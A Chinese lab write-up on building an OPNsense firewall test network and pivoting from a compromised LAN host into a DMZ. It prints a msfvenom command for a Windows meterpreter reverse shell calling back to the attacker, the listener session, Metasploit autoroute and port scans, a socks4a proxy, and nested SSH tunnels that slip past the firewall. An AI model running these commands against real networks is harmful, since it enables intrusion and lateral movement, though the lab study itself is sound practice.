OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发

摘要:

记录实验过程中踩到的坑。介绍OPNsense防火墙的安装配置并搭建实验环境,利用msf的模块及ssh进行流量转发(LAN向DMZ方向),为内网渗透做好准备。

目录:

一、实验环境 
二、OPNsense环境搭建 
三、LAN主机控制权,执行反弹shell 
四、判断内网网段 
五、寻找存活主机并扫描端口 
六、msf模块(socks4a) 
七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发 
八、使用proxychains代理 
九、其它:nc获取HTTP,\r\n换行符问题 
十、总结

正文:

一、实验环境

目标:已控制LAN主机,需要向DMZ进行渗透。

一般DMZ为外网可以直接访问,这里没有添加WAN到DMZ的NAT规则。因为实验只是模拟LAN到DMZ,没有影响。

这里的DMZ可类似等于,LAN中其它网段的内网。

网络初始情况:(防火墙默认的规则)

LAN 可以访问 WAN + DMZ

DMZ 无法访问 WAN + LAN

WAN 无法访问 DMZ + LAN

二、OPNsense环境搭建

1、VM虚拟机的网卡设置:用于 LAN OPT(DMZ)

选择“仅主机模式” 。

不要开启DHCP服务,后续让OPNsense 来完成这个功能。

2、OPNsense硬件:配置三块网卡

第一块 VMnet10 配置成LAN:DHCP服务器 + web管理

第二块 VMnet11 配置成DMZ(OPT1):DHCP服务器

第三块 桥接物理网络 WAN:自动获取IP

3、登陆:初始账号密码:root opnsense

4、指定接口(选项1)

5、配置LAN(选项2):DHCP服务器 + web管理

会显示Web管理界面的地址(即防火墙IP)

6、配置DMZ(OPT1)(选项2):DHCP服务器

7、配置WAN(选项2):自动获取IP

8、配置完成

注意:遇到几次 OPT1 显示的ip不是设置的ip,而是DHCP的第一个地址。原因没找到…重新再对OPT1进行设置即可…

9、启动其它虚拟机

配置相应的VM网卡即可

注意:其它虚拟机最好不要先于防火墙启动(除非最后再重新获取一下IP),可能会出现LAN无法访问到DMZ之类的各种问题…

10、web管理界面:

LAN主机访问 192.168.100.1 登陆,进行防火墙规则配置。

三、LAN主机控制权,执行反弹shell

不讨论获取控制权的方法

注意:使用80/22这类防火墙允许出站的端口

直接msf生成,放到LAN执行

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.6 lport=80 -a x86 --platform win -f exe -o test_re_shell.exe

kali监听:

msf > use exploit/multi/handler  
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
payload => windows/meterpreter/reverse_tcp  
msf exploit(handler) > set LHOST 0.0.0.0  
LHOST => 0.0.0.0  
msf exploit(handler) > set LPORT 80  
LPORT => 80  
msf exploit(handler) > exploit   [*] Started reverse TCP handler on 0.0.0.0:80   
[*] Sending stage (179267 bytes) to 192.168.1.8  
[*] Meterpreter session 1 opened (192.168.1.6:80 -> 192.168.1.8:17172) at 2017-12-13 19:55:28 +0800   meterpreter >

四、判断内网网段

LAN网段:

meterpreter命令 ifconfig

meterpreter > ifconfig  
...  
Interface 13  
============  
Name         : Intel(R) PRO/1000 MT Network Connection #2  
Hardware MAC : 00:0c:29:da:02:47  
MTU          : 1500  
IPv4 Address : 192.168.100.21  
IPv4 Netmask : 255.255.255.0  
IPv6 Address : fe80::18ab:6da2:c479:1fe5  
IPv6 Netmask : ffff:ffff:ffff:ffff::  
...

DMZ网段:

1、netstat:寻找指向DMZ的连接

meterpreter > netstat  

Connection list
=============== Proto Local address Remote address State User Inode PID/Program name
----- ------------- -------------- ----- ---- ----- ----------------
...
tcp 192.168.100.21:49310 192.168.150.22:80 ESTABLISHED 0 0 1560/iexplore.exe
...

2、查看dns缓存记录(windows环境):

ipconfig /displaydns

meterpreter > shell
Process 2548 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ���� C:\Users\molibird\Desktop>ipconfig /displaydns
ipconfig /displaydns Windows IP ����
...
www.baidu.com
----------------------------------------
û�� AAAA ���͵ļ�¼
...

找到疑似内网的域名进行ping 获取ip

C:\Users\molibird\Desktop>ping www.molibird.com
...

3、查看dns缓存记录(linux环境):

Linux下,默认好像不存在系统级别的dns缓存。

另外,nscd服务可以达到效果,但默认不启动,并且无法查看具体缓存信息。

service nscd start  #开启服务  
nscd -g  #只能看缓存的整体统计  
file /var/cache/nscd/hosts  #缓存文件是 data 类型,无法直接查看,也没有找到命令可以...

4、traceroute:通过路由情况 判断控制的LAN主机 是否在更深层的网络

访问外网任意域名即可

meterpreter > shell

C:\Users\molibird\Desktop>tracert www.molibird.com  #windows环境cmd
C:\Users\molibird\Desktop>traceroute -n www.molibird.com  #linux环境

五、寻找存活主机并扫描端口

msf 路由功能:

1、post/multi/manage/autoroute

注意:添加DMZ网段时 记得修改 cmd 参数 add ! 否则会直接无视subnet的设置

msf exploit(handler) > use post/multi/manage/autoroute
msf post(autoroute) > set subnet 192.168.100.0 #LAN #set subnet 192.168.150.0 #DMZ
subnet => 192.168.100.0
msf post(autoroute) > set session 1
session => 1
msf post(autoroute) > set cmd add #默认参数autoadd会无视subnet的设置 自行判断 然后添加
cmd => add
msf post(autoroute) > show options Module options (post/multi/manage/autoroute): Name Current Setting Required Description
---- --------------- -------- -----------
CMD add yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
NETMASK 255.255.255.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
SESSION 1 yes The session to run this module on.
SUBNET 192.168.100.0 no Subnet (IPv4, for example, 10.10.10.0) msf post(autoroute) > exploit [!] SESSION may not be compatible with this module.
[*] Running module against WIN-IFS3VSNKUQU
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Route added to subnet 192.168.100.0/255.255.255.0.
[*] Post module execution completed

2、meterpreter的模块autoroute (已经不推荐使用)

meterpreter > run autoroute -h  #查看帮助
meterpreter > run autoroute -s 192.168.100.0/24 #添加
meterpreter > run autoroute -d -s 192.168.100.0/24 #删除
meterpreter > run autoroute -p #列出目前路由

扫描端口功能:

注意:发现 RHOST设置太大范围的话 很可能会漏报。

1、post/windows/gather/arp_scanner

2、auxiliary/scanner/portscan/tcp

3、auxiliary/scanner/portscan/syn

4、auxiliary/scanner/portscan/ack

在meterpreter中使用:run + 参数

例子:

meterpreter > run auxiliary/scanner/portscan/syn RHOSTS=192.168.100.20-25 PORTS=1-100 THREADS=10

在msfconsole中使用:例子:

msf post(autoroute) > use auxiliary/scanner/portscan/ack
msf auxiliary(ack) > set THREADS 10
THREADS => 10
msf auxiliary(ack) > set PORTS 1-100
PORTS => 1-100
msf auxiliary(ack) > set RHOSTS 192.168.100.18-22
RHOSTS => 192.168.100.18-22
msf auxiliary(ack) > show options Module options (auxiliary/scanner/portscan/ack): Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-100 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.100.18-22 yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 10 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds msf auxiliary(ack) > exploit

总结的情况:

SYN/ACK类的都无法转发,完整的TCP可以进行转发

红色对钩:可以扫描

黑色乄(DMZ-ARP扫描中):ARP协议在同一网段中使用,所以对于DMZ无法适用。但又和其余黑色×不同,用wireshark抓包发现,ARP实际发送给了192.168.1.8防火墙(被转发了)。

其余黑色×:封包直接就发送给了不存在的192.168.100.0/24和192.168.150.0/24。(SYN/ACK无法被转发)

六、msf模块(socks4a)

将msf环境下的route供应给其它程序使用

msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf auxiliary(socks4a) > set SRVPORT 1080
SRVPORT => 1080
msf auxiliary(socks4a) > exploit
[*] Auxiliary module running as background job 0.
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server

七、SSH嵌套(socks5):本地端口转发 + 远程端口转发 + 动态端口转发

SSH 有三种端口转发的情况:

本地端口转发

远程端口转发

动态端口转发

草图中 红色箭头是真实流量的方向,黑色箭头是ssh连接的方向

对于本文的情况只能选择远程端口转发,这样可能需要多次使用ssh命令增加转发的规则。

将SSH嵌套使用:本地端口转发(外层)+ 远程端口转发(中层) +动态端口转发(内层)

1、外层:kali 既是ssh服务端,又是ssh客户端

在中层之后,kali监听的是本地的 127.0.0.1。

当我需要使用AWVS这类windows平台工具对DMZ进行渗透的时候,需要借用kali中建立的隧道。

利用本地端口转发 -g 的模式 开放一个端口给整个kali渗透这边的局域网。

2、中层:kali 是ssh服务端 ,LAN主机是ssh客户端

进行两主机间的端口转发

3、内层:LAN主机 既是ssh服务端,又是ssh客户端

将ssh“升级”为动态,避免多次使用ssh命令指定转发规则。

流量转发流向:windows渗透平台(192.168.1.2)

1、软件设置:192.168.1.2 –> 192.168.1.6:6000 (kali)

2、通过外层:192.168.1.6:6000(kali) –>192.168.1.6:7000(kali)

3、通过中层:192.168.1.6:7000(kali) –> 192.168.1.8 (防火墙)

4、通过中层 + 防火墙NAT:192.168.1.8(防火墙) –>192.168.100.22:2000(LAN主机)

5、通过内层:192.168.100.22:2000(LAN主机) –> 192.168.100.22:22(LAN主机)

6、代理访问:192.168.100.22:22(LAN主机) –> 192.168.100.22:xxx(随机端口) –> 192.168.150.80:80(DMZ主机)

步骤:

步骤一:kali:(外层ssh服务端 + 中层ssh服务端)

配置文件:/etc/ssh/sshd_config

Port 53
PermitRootLogin yes
PasswordAuthentication yes

步骤二、LAN主机:(内层ssh服务端)配置

配置文件:/etc/ssh/sshd_config

Port 22
PermitRootLogin yes
PasswordAuthentication yes

步骤三、LAN主机:(内层ssh进行连接)(自己连自己) 监听在端口2000

ssh -f -CN -D 2000 root@127.0.0.1 -p 22

步骤四、LAN主机:(中层ssh向kali进行连接) 远程端口转发

1、转发目标为 内层ssh的监听端口20002、会在kali上开启7000端口进行监听 转发流量

ssh -CN -R 7000:127.0.0.1:2000 root@192.168.1.6 -p 53

步骤五、kali:(外层ssh进行连接)(自己连接自己)监听在6000端口

-g参数!让局域网可用!

ssh -CN -g -L 6000:127.0.0.1:7000 root@127.0.0.1 -p 53

步骤六、windows渗透平台,通过 127.0.0.1:6000 进行代理即可

八、使用proxychains代理

配置文件/etc/proxychains.conf添加:

socks4和socks4a协议的 都是写作socks4

socks4 host port
#socks5 host port

进行代理:

proxychains nc 192.168.150.22 80
proxychains firefox
proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24

1、firefox使用:

注意:在proxychains开启firefox的时候,千万不要已经有firefox实例启动着!!!通通关掉!!!

另外,firefox可以直接指定socks代理 不通过proxychains:

注意:设置socks代理的时候,上面的一些不需要填写!空着!

2、nmap使用:

注意:使用 -sT 参数!

注意:使用 -Pn 参数跳过主机存活检测

socks、proxychains 都无法代理单独的SYN/ACK这类的扫描,只能使用TCP完整连接进行扫描!

nmap 会先 进行DNS的查询(不会有正确的响应),接着会进行转发。

proxychains nmap -T4 -vv -Pn -sT 192.168.150.0/24

九、其它:nc获取HTTP,\r\n换行符问题

遇到情况:

1、直接连接:回车换行直接发送,导致无法加入其它HTTP头

nc -nv 192.168.1.2 80
GET / HTTP/1.1 #回车这里会直接发送出去了...

2、proxychains 代理 nc:回车换行 可能无效(有些网站正常/有些不正常)

root@kali201702:~# proxychains nc 192.168.100.1 80
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-127.0.0.1:6000-<><>-192.168.100.1:80-<><>-OK
GET / HTTP/1.1
Host: 192.168.100.1 #这里的回车 没有效果

原因没有找到

解决办法:

1、将HTTP请求写在文本里 然后重定向到nc

vim编写的时候 需要设置 :set fileformat=dos 让换行成为\r\n

http.txt最后有两个 \r\n 换行

GET / HTTP/1.1
Host: 192.168.1.2
nc -nv 192.168.1.2 80 < http.txt

2、echo + 管道:

-e 参数 可以解析\r\n

echo -e 'GET / HTTP/1.1\r\nHost: 192.168.1.2\r\n\r\n' | nc 192.168.1.2 80

3、连带最后两个换行,直接右键复制文本到终端窗口…

十、总结

1、实验场景是从LAN到DMZ,不知道真实情况这种多不多(社工?)。一般DMZ是可以外网直接访问到,然后从WEB切入,应该就需要从DMZ渗透到LAN,此时防火墙是会阻止这样的访问,这也是设立DMZ的一个目的。这种情况后续还需要再学习…

2、如同这里写的SSH嵌套使用,其它的DNS隧道/HTTP隧道等好像都有可能相互嵌套。感觉就是俄罗斯套娃…

3、msf的路由功能、socks代理、proxychains 无法转发SYN/ACK这类的扫描,使用完整TCP连接进行扫描。namp 使用 -sT 参数 并用 -Pn 跳过主机发现阶段。

参考:

1、http://www.freebuf.com/articles/network/125278.html 
2、https://security.stackexchange.com/questions/120708/nmap-through-proxy/120723#120723 
3、https://unix.stackexchange.com/questions/28553/how-to-read-the-local-dns-cache-contents 
4、https://www.offensive-security.com/metasploit-unleashed/proxytunnels/ 
5、https://www.offensive-security.com/metasploit-unleashed/pivoting/ 
6、https://m0n0.ch/wall/m0n0wall%20handbook%20chinese.pdf 
防火墙产品:OPNsense、pfSense、m0n0wall(官网好像已经没有下载连接了) 
1、https://opnsense.org/ 
2、https://www.pfsense.org/ 
3、https://m0n0.ch/wall/index.php

OPNsense防火墙搭建实验环境,MSF与SSH进行流量转发的更多相关文章

  1. [dpdk] 熟悉SDK与初步使用 (一)(qemu搭建实验环境)

    搭建实验环境: troubleshoot 第一步加载驱动 第二步切换驱动 使用了所有qemu支持的卡 [tong@T7:~/VM/dpdk] % cat start.sh sudo qemu-syst ...

  2. O016、搭建实验环境

    参考https://www.cnblogs.com/CloudMan6/p/5350536.html   在学习 OpenStack 各服务之前,需要先搭建一个实验环境.   一个看得到摸得着而且能让 ...

  3. 【MySQL】MySQL无基础学习和入门之一:数据库基础概述和实验环境搭建

    数据库基础概述  大部分互联网公司都选择MySQL作为业务数据存储数据库,除了MySQL目前还有很多公司使用Oracle(甲骨文).SQLserver(微软).MongoDB等. 从使用成本来区分可以 ...

  4. openstack Mitaka实验环境安装(centos系统)

    本博文仅供参考,具体一定详细学习官方安装文档. 一 准备工作 二安装过程 1 安装NTP服务 2 安装openstack包 3 SQL数据库安装 4 安装消息队列 message queue 5 Me ...

  5. vSphere可用性之三准备实验环境

    第三章 准备实验环境 在上篇内容中,讲述了进行VMware HA实验所必需的软硬件条件.接下来将使用这些来搭建实验环境.主要内容为依据拓扑图安装ESX主机系统.ISCSI存储系统. 此次实验环境的建置 ...

  6. 动手实验iptables的NAT功能实现流量穿透

    1.NAT和iptables理论见: http://lustlost.blog.51cto.com/2600869/943110 2.引子 近期,有同事抱怨说数据入库时,由于数据库所在的服务器只有内网 ...

  7. Linux下的ssh实验环境搭建与管理

    实验环境[size=10.5000pt]1:网桥模式[size=10.5000pt]2:安装好vmtoos[size=10.5000pt]3:安装好yum[size=10.5000pt]4:安装好ss ...

  8. TensorFlow实验环境搭建

    初衷: 由于系统.平台的原因,网上有各种版本的tensorflow安装教程,基于linux的.mac的.windows的,各有不同,tensorflow的官网也给出了具体的安装命令.但实际上,即使te ...

  9. jenkins+git+docker实验环境的搭建

    持续集成(c/i)的实验环境 git/harbor服务器    ip 192.168.200.132 docker服务器          ip 192.168.200.149 Jenkins服务器 ...

随机推荐

  1. Java之Apache Tomcat教程[归档]

    前言 笔记归档类博文. 本博文地址:Java之Apache Tomcat教程[归档] 未经同意或授权便复制粘贴全文原文!!!!盗文实在可耻!!!贴一个臭不要脸的:易学教程↓↓↓ Step1:安装JDK ...

  2. 数组中存放model去重

    在这个项目中出现"添加model数据"数组重复的情况,这就涉及到数组去重的问题了...... 1. 一开始使用的最笨的方法: 依次循环两个数组(原有的数组,选择的数组),双重for ...

  3. Day04:异常处理(二) / 多线程基础

    多线程 线程是什么? 一个线程是线程一个顺序执行流. 同类的多个线程共享一块内存空间和一组系统资源,线程本身有一个供程序执行时的栈堆.线程在切换时负荷小,因此,线程也被称为轻负荷进程.一个进程中可以包 ...

  4. Centos7端口映射

    开启tomcat后,访问需要加端口号8080才能访问,在不改变tomcat默认端口号的情况下,添加nat的端口映射,将80端口映射到8080端口,即可实现不加8080访问. 向nat表的 PREROU ...

  5. 记一次django学习1.0和2.0区别

    依据学习课程的教学,在项目实战学习过程中教学使用django1.0,获取ManytoMany关联字段,源码使用的是 即django使用 models.Customer.tags.rel.to.obje ...

  6. bert系列二:《BERT》论文解读

    论文<BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding> 以下陆续介绍ber ...

  7. 解析Health端点数据获取异常数据

    问题: 由于健康节点响应类型是Health类,并且由于需要执行的健康状态类不固定,返回的类型数据的字段不是固定的,所以使用了@JsonAngGetter 注解,照成了解析这个JSON 结构非常不方便. ...

  8. C学习笔记-多源文件的编译

    多源文件的意义 为了精简代码和更好的维护代码,往往需要将一些功能实现的代码与主函数代码分开来 在使用的时候再主函数中调用 多源文件的使用 假设现有my.c和main.c两个源代码文件,现在要再main ...

  9. git常用命令总结——覆盖日常开发全操作

    前言:Git是目前世界上最先进的分布式版本控制系统,对的,最先进! 1. 版本库,又名仓库,repository 可理解成一个目录,目录里的所有文件都可被Git管理,Git可以跟踪每个文件的修改.删除 ...

  10. C# 字典、集合、列表的时间复杂度

    List列表是顺序线性表,Add操作是O(1)或O(N),因为List是动态扩容的,在未扩容之前,其Add操作是O(1),而在扩容的时候,Add操作是O(N)的.其Contains方法,是按照线性检索 ...